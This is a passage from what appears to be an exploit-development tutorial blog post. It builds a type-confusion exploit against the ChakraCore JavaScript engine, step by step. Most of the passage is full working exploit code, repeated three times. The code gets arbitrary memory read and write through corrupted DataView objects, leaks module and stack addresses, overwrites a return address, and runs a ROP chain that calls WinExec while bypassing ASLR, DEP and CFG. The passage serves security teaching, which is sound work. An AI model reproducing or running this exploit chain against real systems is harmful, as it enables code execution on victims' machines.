    // Corrupt dataview1->buffer with the address of the second DataView object
    obj.h = dataview2;

    // dataview1 methods act on dataview2 object
    // Since vftable is located from 0x0 - 0x8 in dataview2, we can simply just retrieve it without going through our read64() function
    vtableLo = dataview1.getUint32(0x0, true);
    vtableHigh = dataview1.getUint32(0x4, true);

    // Extract dataview2->type (located 0x8 - 0x10) so we can follow the chain of pointers to leak a stack address via...
    // ... type->javascriptLibrary->scriptContext->threadContext
    typeLo = dataview1.getUint32(0x8, true);
    typeHigh = dataview1.getUint32(0xC, true);

    // Print update
    print("[+] DataView object 2 leaked vtable from ChakraCore.dll: 0x" + hex(vtableHigh) + hex(vtableLo));

    // Store the base of chakracore.dll
    chakraLo = vtableLo - 0x1961298;
    chakraHigh = vtableHigh;

    // Print update
    print("[+] ChakraCore.dll base address: 0x" + hex(chakraHigh) + hex(chakraLo));

    // Leak a pointer to kernel32.dll from from ChakraCore's IAT (for who's base address we already have)
    iatEntry = read64(chakraLo+0x17c0000+0x40, chakraHigh);     // KERNEL32!RaiseExceptionStub pointer

    // Store the upper part of kernel32.dll
    kernel32High = iatEntry[1];

    // Store the lower part of kernel32.dll
    kernel32Lo = iatEntry[0] - 0x1d890;

    // Print update
    print("[+] kernel32.dll base address: 0x" + hex(kernel32High) + hex(kernel32Lo));

    // Leak type->javascriptLibrary (lcoated at type+0x8)
    javascriptLibrary = read64(typeLo+0x8, typeHigh);

    // Leak type->javascriptLibrary->scriptContext (located at javascriptLibrary+0x450)
    scriptContext = read64(javascriptLibrary[0]+0x450, javascriptLibrary[1]);

    // Leak type->javascripLibrary->scriptContext->threadContext
    threadContext = read64(scriptContext[0]+0x3b8, scriptContext[1]);

    // Leak type->javascriptLibrary->scriptContext->threadContext->stackLimitForCurrentThread (located at threadContext+0xc8)
    stackAddress = read64(threadContext[0]+0xc8, threadContext[1]);

    // Print update
    print("[+] Leaked stack from type->javascriptLibrary->scriptContext->threadContext->stackLimitForCurrentThread!");
    print("[+] Stack leak: 0x" + hex(stackAddress[1]) + hex(stackAddress[0]));

    // Compute the stack limit for the current thread and store it in an array
    var stackLeak = new Uint32Array(0x10);
    stackLeak[0] = stackAddress[0] + 0xed000;
    stackLeak[1] = stackAddress[1];

    // Print update
    print("[+] Stack limit: 0x" + hex(stackLeak[1]) + hex(stackLeak[0]));

    // Scan the stack

    // Counter variable
    let counter = 0;

    // Store our target return address
    var retAddr = new Uint32Array(0x10);
    retAddr[0] = chakraLo + 0x1768bc0;
    retAddr[1] = chakraHigh;

    // Loop until we find our target address
    while (true)
    {

        // Store the contents of the stack
        tempContents = read64(stackLeak[0]+counter, stackLeak[1]);

        // Did we find our return address?
        if ((tempContents[0] == retAddr[0]) && (tempContents[1] == retAddr[1]))
        {
            // print update
            print("[+] Found the target return address on the stack!");

            // stackLeak+counter will now contain the stack address which contains the target return address
            // We want to use our arbitrary write primitive to overwrite this stack address with our own value
            print("[+] Target return address: 0x" + hex(stackLeak[0]+counter) + hex(stackLeak[1]));

            // Break out of the loop
            break;
        }

        // Increment the counter if we didn't find our target return address
        counter += 0x8;
    }

    // Begin ROP chain
    write64(stackLeak[0]+counter, stackLeak[1], chakraLo+0x3e876, chakraHigh);      // 0x18003e876: pop rax ; ret
    counter+=0x8;
    write64(stackLeak[0]+counter, stackLeak[1], 0x636c6163, 0x00000000);            // calc
    counter+=0x8;
    write64(stackLeak[0]+counter, stackLeak[1], chakraLo+0x3e6c6, chakraHigh);      // 0x18003e6c6: pop rcx ; ret
    counter+=0x8;
    write64(stackLeak[0]+counter, stackLeak[1], chakraLo+0x1c77000, chakraHigh);    // Empty address in .data of chakracore.dll
    counter+=0x8;
    write64(stackLeak[0]+counter, stackLeak[1], chakraLo+0xd7ff7, chakraHigh);      // 0x1800d7ff7: mov qword [rcx], rax ; ret
    counter+=0x8;

    write64(stackLeak[0]+counter, stackLeak[1], 0x41414141, 0x41414141);
    counter+=0x8;
    write64(stackLeak[0]+counter, stackLeak[1], 0x41414141, 0x41414141);
    counter+=0x8;
    write64(stackLeak[0]+counter, stackLeak[1], 0x41414141, 0x41414141);
    counter+=0x8;
    write64(stackLeak[0]+counter, stackLeak[1], 0x41414141, 0x41414141);
    counter+=0x8;
    write64(stackLeak[0]+counter, stackLeak[1], 0x41414141, 0x41414141);
    counter+=0x8;
    write64(stackLeak[0]+counter, stackLeak[1], 0x41414141, 0x41414141);
    counter+=0x8;

}

main();

You’ll notice the address we are placing in RCX, via pop rcx, is “an empty address in .data of chakracore.dll”. The .data section of any PE is generally readable and writable. This gives us the proper permissions needed to write calc into the pointer. To find this address, we can look at the .data section of chakracore.dll in WinDbg with the !dh command.

Let’s open our exploit.js in WinDbg again via ch.exe and WinDbg and set a breakpoint on our first ROP gadget (located at chakracore_base + 0x3e876) to step through execution.

Looking at the stack, we can see we are currently executing our ROP chain.

Our first ROP gadget, pop rax, will place calc (in hex representation) into the RAX register.

After execution, we can see the ret from our ROP gadget takes us right to our next gadget - pop rcx, which will place the empty .data pointer from chakracore.dll into RCX.

This brings us to our next ROP gadget, the mov qword ptr [rcx], rax ; ret gadget.

After execution of the ROP gadget, we can see the .data pointer now contains the contents of calc - meaning we now have a pointer we can place in RCX (it technically is already in RCX) as the lpCmdLine parameter.

Now that the first parameter is done - we only have two more steps left. The first is the second parameter, uCmdShow (which just needs to be set to 0). The last gadget will pop the address of kernel32!WinExec. Here is how this part of the ROP chain will look.

pop rdx ; ret
<0 as the second parameter> (placed into RDX)

pop rax ; ret
<WinExec address> (placed into RAX)

jmp rax (call kernel32!WinExec)

The above gadgets will fill RDX with our last parameter, and then place WinExec into RAX. Here is how we update our final script.

    (...)truncated(...)

    opt(o, o, obj);     // Instead of supplying 0x1234, we are supplying our obj

    // Corrupt obj->auxSlots with the address of the first DataView object
    o.c = dataview1;

    // Corrupt dataview1->buffer with the address of the second DataView object
    obj.h = dataview2;

    // dataview1 methods act on dataview2 object
    // Since vftable is located from 0x0 - 0x8 in dataview2, we can simply just retrieve it without going through our read64() function
    vtableLo = dataview1.getUint32(0x0, true);
    vtableHigh = dataview1.getUint32(0x4, true);

    // Extract dataview2->type (located 0x8 - 0x10) so we can follow the chain of pointers to leak a stack address via...
    // ... type->javascriptLibrary->scriptContext->threadContext
    typeLo = dataview1.getUint32(0x8, true);
    typeHigh = dataview1.getUint32(0xC, true);

    // Print update
    print("[+] DataView object 2 leaked vtable from ChakraCore.dll: 0x" + hex(vtableHigh) + hex(vtableLo));

    // Store the base of chakracore.dll
    chakraLo = vtableLo - 0x1961298;
    chakraHigh = vtableHigh;

    // Print update
    print("[+] ChakraCore.dll base address: 0x" + hex(chakraHigh) + hex(chakraLo));

    // Leak a pointer to kernel32.dll from from ChakraCore's IAT (for who's base address we already have)
    iatEntry = read64(chakraLo+0x17c0000+0x40, chakraHigh);     // KERNEL32!RaiseExceptionStub pointer

    // Store the upper part of kernel32.dll
    kernel32High = iatEntry[1];

    // Store the lower part of kernel32.dll
    kernel32Lo = iatEntry[0] - 0x1d890;

    // Print update
    print("[+] kernel32.dll base address: 0x" + hex(kernel32High) + hex(kernel32Lo));

    // Leak type->javascriptLibrary (lcoated at type+0x8)
    javascriptLibrary = read64(typeLo+0x8, typeHigh);

    // Leak type->javascriptLibrary->scriptContext (located at javascriptLibrary+0x450)
    scriptContext = read64(javascriptLibrary[0]+0x450, javascriptLibrary[1]);

    // Leak type->javascripLibrary->scriptContext->threadContext
    threadContext = read64(scriptContext[0]+0x3b8, scriptContext[1]);

    // Leak type->javascriptLibrary->scriptContext->threadContext->stackLimitForCurrentThread (located at threadContext+0xc8)
    stackAddress = read64(threadContext[0]+0xc8, threadContext[1]);

    // Print update
    print("[+] Leaked stack from type->javascriptLibrary->scriptContext->threadContext->stackLimitForCurrentThread!");
    print("[+] Stack leak: 0x" + hex(stackAddress[1]) + hex(stackAddress[0]));

    // Compute the stack limit for the current thread and store it in an array
    var stackLeak = new Uint32Array(0x10);
    stackLeak[0] = stackAddress[0] + 0xed000;
    stackLeak[1] = stackAddress[1];

    // Print update
    print("[+] Stack limit: 0x" + hex(stackLeak[1]) + hex(stackLeak[0]));

    // Scan the stack

    // Counter variable
    let counter = 0;

    // Store our target return address
    var retAddr = new Uint32Array(0x10);
    retAddr[0] = chakraLo + 0x1768bc0;
    retAddr[1] = chakraHigh;

    // Loop until we find our target address
    while (true)
    {

        // Store the contents of the stack
        tempContents = read64(stackLeak[0]+counter, stackLeak[1]);

        // Did we find our return address?
        if ((tempContents[0] == retAddr[0]) && (tempContents[1] == retAddr[1]))
        {
            // print update
            print("[+] Found the target return address on the stack!");

            // stackLeak+counter will now contain the stack address which contains the target return address
            // We want to use our arbitrary write primitive to overwrite this stack address with our own value
            print("[+] Target return address: 0x" + hex(stackLeak[0]+counter) + hex(stackLeak[1]));

            // Break out of the loop
            break;
        }

        // Increment the counter if we didn't find our target return address
        counter += 0x8;
    }

    // Begin ROP chain
    write64(stackLeak[0]+counter, stackLeak[1], chakraLo+0x3e876, chakraHigh);      // 0x18003e876: pop rax ; ret
    counter+=0x8;
    write64(stackLeak[0]+counter, stackLeak[1], 0x636c6163, 0x00000000);            // calc
    counter+=0x8;
    write64(stackLeak[0]+counter, stackLeak[1], chakraLo+0x3e6c6, chakraHigh);      // 0x18003e6c6: pop rcx ; ret
    counter+=0x8;
    write64(stackLeak[0]+counter, stackLeak[1], chakraLo+0x1c77000, chakraHigh);    // Empty address in .data of chakracore.dll
    counter+=0x8;
    write64(stackLeak[0]+counter, stackLeak[1], chakraLo+0xd7ff7, chakraHigh);      // 0x1800d7ff7: mov qword [rcx], rax ; ret
    counter+=0x8;
    write64(stackLeak[0]+counter, stackLeak[1], chakraLo+0x40802, chakraHigh);      // 0x1800d7ff7: pop rdx ; ret
    counter+=0x8;
    write64(stackLeak[0]+counter, stackLeak[1], 0x00000000, 0x00000000);            // 0
    counter+=0x8;
    write64(stackLeak[0]+counter, stackLeak[1], chakraLo+0x3e876, chakraHigh);      // 0x18003e876: pop rax ; ret
    counter+=0x8;
    write64(stackLeak[0]+counter, stackLeak[1], kernel32Lo+0x5e330, kernel32High);  // KERNEL32!WinExec address
    counter+=0x8;
    write64(stackLeak[0]+counter, stackLeak[1], chakraLo+0x7be3e, chakraHigh);      // 0x18003e876: jmp rax
    counter+=0x8;

    write64(stackLeak[0]+counter, stackLeak[1], 0x41414141, 0x41414141);
    counter+=0x8;
    write64(stackLeak[0]+counter, stackLeak[1], 0x41414141, 0x41414141);
    counter+=0x8;
    write64(stackLeak[0]+counter, stackLeak[1], 0x41414141, 0x41414141);
    counter+=0x8;
    write64(stackLeak[0]+counter, stackLeak[1], 0x41414141, 0x41414141);
    counter+=0x8;
    write64(stackLeak[0]+counter, stackLeak[1], 0x41414141, 0x41414141);
    counter+=0x8;
    write64(stackLeak[0]+counter, stackLeak[1], 0x41414141, 0x41414141);
    counter+=0x8;
}

main();

Before execution, we can find the address of kernel32!WinExec by computing the offset in WinDbg.

Let’s again run our exploit in WinDbg and set a breakpoint on the pop rdx ROP gadget (located at chakracore_base + 0x40802)

After the pop rdx gadget is hit, we can see 0 is placed in RDX.

Execution then redirects to the pop rax gadget.

We then place kernel32!WinExec into RAX and execute the jmp rax gadget to jump into the WinExec function call. We can also see our parameters are correct (RCX points to calc and RDX is 0.

We can now see everything is in order. Let’s close our of WinDbg and execute our final exploit without any debugger. The final code can be seen below.

// Creating object obj
// Properties are stored via auxSlots since properties weren't declared inline
obj = {}
obj.a = 1;
obj.b = 2;
obj.c = 3;
obj.d = 4;
obj.e = 5;
obj.f = 6;
obj.g = 7;
obj.h = 8;
obj.i = 9;
obj.j = 10;

// Create two DataView objects
dataview1 = new DataView(new ArrayBuffer(0x100));
dataview2 = new DataView(new ArrayBuffer(0x100));

// Function to convert to hex for memory addresses
function hex(x) {
    return x.toString(16);
}

// Arbitrary read function
function read64(lo, hi) {
    dataview1.setUint32(0x38, lo, true);        // DataView+0x38 = dataview2->buffer
    dataview1.setUint32(0x3C, hi, true);        // We set this to the memory address we want to read from (4 bytes at a time: e.g. 0x38 and 0x3C)

    // Instead of returning a 64-bit value here, we will create a 32-bit typed array and return the entire away
    // Write primitive requires breaking the 64-bit address up into 2 32-bit values so this allows us an easy way to do this
    var arrayRead = new Uint32Array(0x10);
    arrayRead[0] = dataview2.getInt32(0x0, true);   // 4-byte arbitrary read
    arrayRead[1] = dataview2.getInt32(0x4, true);   // 4-byte arbitrary read

    // Return the array
    return arrayRead;
}

// Arbitrary write function
function write64(lo, hi, valLo, valHi) {
    dataview1.setUint32(0x38, lo, true);        // DataView+0x38 = dataview2->buffer
    dataview1.setUint32(0x3C, hi, true);        // We set this to the memory address we want to write to (4 bytes at a time: e.g. 0x38 and 0x3C)

    // Perform the write with our 64-bit value (broken into two 4 bytes values, because of JavaScript)
    dataview2.setUint32(0x0, valLo, true);       // 4-byte arbitrary write
    dataview2.setUint32(0x4, valHi, true);       // 4-byte arbitrary write
}

// Function used to set prototype on tmp function to cause type transition on o object
function opt(o, proto, value) {
    o.b = 1;

    let tmp = {__proto__: proto};

    o.a = value;
}

// main function
function main() {
    for (let i = 0; i < 2000; i++) {
        let o = {a: 1, b: 2};
        opt(o, {}, {});
    }

    let o = {a: 1, b: 2};

    opt(o, o, obj);     // Instead of supplying 0x1234, we are supplying our obj

    // Corrupt obj->auxSlots with the address of the first DataView object
    o.c = dataview1;

    // Corrupt dataview1->buffer with the address of the second DataView object
    obj.h = dataview2;

    // dataview1 methods act on dataview2 object
    // Since vftable is located from 0x0 - 0x8 in dataview2, we can simply just retrieve it without going through our read64() function
    vtableLo = dataview1.getUint32(0x0, true);
    vtableHigh = dataview1.getUint32(0x4, true);

    // Extract dataview2->type (located 0x8 - 0x10) so we can follow the chain of pointers to leak a stack address via...
    // ... type->javascriptLibrary->scriptContext->threadContext
    typeLo = dataview1.getUint32(0x8, true);
    typeHigh = dataview1.getUint32(0xC, true);

    // Print update
    print("[+] DataView object 2 leaked vtable from ChakraCore.dll: 0x" + hex(vtableHigh) + hex(vtableLo));

    // Store the base of chakracore.dll
    chakraLo = vtableLo - 0x1961298;
    chakraHigh = vtableHigh;

    // Print update
    print("[+] ChakraCore.dll base address: 0x" + hex(chakraHigh) + hex(chakraLo));

    // Leak a pointer to kernel32.dll from from ChakraCore's IAT (for who's base address we already have)
    iatEntry = read64(chakraLo+0x17c0000+0x40, chakraHigh);     // KERNEL32!RaiseExceptionStub pointer

    // Store the upper part of kernel32.dll
    kernel32High = iatEntry[1];

    // Store the lower part of kernel32.dll
    kernel32Lo = iatEntry[0] - 0x1d890;

    // Print update
    print("[+] kernel32.dll base address: 0x" + hex(kernel32High) + hex(kernel32Lo));

    // Leak type->javascriptLibrary (lcoated at type+0x8)
    javascriptLibrary = read64(typeLo+0x8, typeHigh);

    // Leak type->javascriptLibrary->scriptContext (located at javascriptLibrary+0x450)
    scriptContext = read64(javascriptLibrary[0]+0x450, javascriptLibrary[1]);

    // Leak type->javascripLibrary->scriptContext->threadContext
    threadContext = read64(scriptContext[0]+0x3b8, scriptContext[1]);

    // Leak type->javascriptLibrary->scriptContext->threadContext->stackLimitForCurrentThread (located at threadContext+0xc8)
    stackAddress = read64(threadContext[0]+0xc8, threadContext[1]);

    // Print update
    print("[+] Leaked stack from type->javascriptLibrary->scriptContext->threadContext->stackLimitForCurrentThread!");
    print("[+] Stack leak: 0x" + hex(stackAddress[1]) + hex(stackAddress[0]));

    // Compute the stack limit for the current thread and store it in an array
    var stackLeak = new Uint32Array(0x10);
    stackLeak[0] = stackAddress[0] + 0xed000;
    stackLeak[1] = stackAddress[1];

    // Print update
    print("[+] Stack limit: 0x" + hex(stackLeak[1]) + hex(stackLeak[0]));

    // Scan the stack

    // Counter variable
    let counter = 0;

    // Store our target return address
    var retAddr = new Uint32Array(0x10);
    retAddr[0] = chakraLo + 0x1768bc0;
    retAddr[1] = chakraHigh;

    // Loop until we find our target address
    while (true)
    {

        // Store the contents of the stack
        tempContents = read64(stackLeak[0]+counter, stackLeak[1]);

        // Did we find our return address?
        if ((tempContents[0] == retAddr[0]) && (tempContents[1] == retAddr[1]))
        {
            // print update
            print("[+] Found the target return address on the stack!");

            // stackLeak+counter will now contain the stack address which contains the target return address
            // We want to use our arbitrary write primitive to overwrite this stack address with our own value
            print("[+] Target return address: 0x" + hex(stackLeak[0]+counter) + hex(stackLeak[1]));

            // Break out of the loop
            break;
        }

        // Increment the counter if we didn't find our target return address
        counter += 0x8;
    }

    // Begin ROP chain
    write64(stackLeak[0]+counter, stackLeak[1], chakraLo+0x3e876, chakraHigh);      // 0x18003e876: pop rax ; ret
    counter+=0x8;
    write64(stackLeak[0]+counter, stackLeak[1], 0x636c6163, 0x00000000);            // calc
    counter+=0x8;
    write64(stackLeak[0]+counter, stackLeak[1], chakraLo+0x3e6c6, chakraHigh);      // 0x18003e6c6: pop rcx ; ret
    counter+=0x8;
    write64(stackLeak[0]+counter, stackLeak[1], chakraLo+0x1c77000, chakraHigh);    // Empty address in .data of chakracore.dll
    counter+=0x8;
    write64(stackLeak[0]+counter, stackLeak[1], chakraLo+0xd7ff7, chakraHigh);      // 0x1800d7ff7: mov qword [rcx], rax ; ret
    counter+=0x8;
    write64(stackLeak[0]+counter, stackLeak[1], chakraLo+0x40802, chakraHigh);      // 0x1800d7ff7: pop rdx ; ret
    counter+=0x8;
    write64(stackLeak[0]+counter, stackLeak[1], 0x00000000, 0x00000000);            // 0
    counter+=0x8;
    write64(stackLeak[0]+counter, stackLeak[1], chakraLo+0x3e876, chakraHigh);      // 0x18003e876: pop rax ; ret
    counter+=0x8;
    write64(stackLeak[0]+counter, stackLeak[1], kernel32Lo+0x5e330, kernel32High);  // KERNEL32!WinExec address
    counter+=0x8;
    write64(stackLeak[0]+counter, stackLeak[1], chakraLo+0x7be3e, chakraHigh);      // 0x18003e876: jmp rax
    counter+=0x8;
}

main();

As we can see, we achieved code execution via type confusion while bypassing ASLR, DEP, and CFG!

Conclusion

As we saw in part two, we took our proof-of-concept crash exploit to a working exploit to gain code execution while avoiding exploit mitigations like ASLR, DEP, and Control Flow Guard. However, we are only executing our exploit in the ChakraCore shell environment. When we port our exploit to Edge in part three, we will need to use several ROP chains (upwards of 11 ROP chains) to get around Arbitrary Code Guard (ACG).

I will see you in part three! Until then.

Peace, love, and positivity :-)

Tags:

Updated: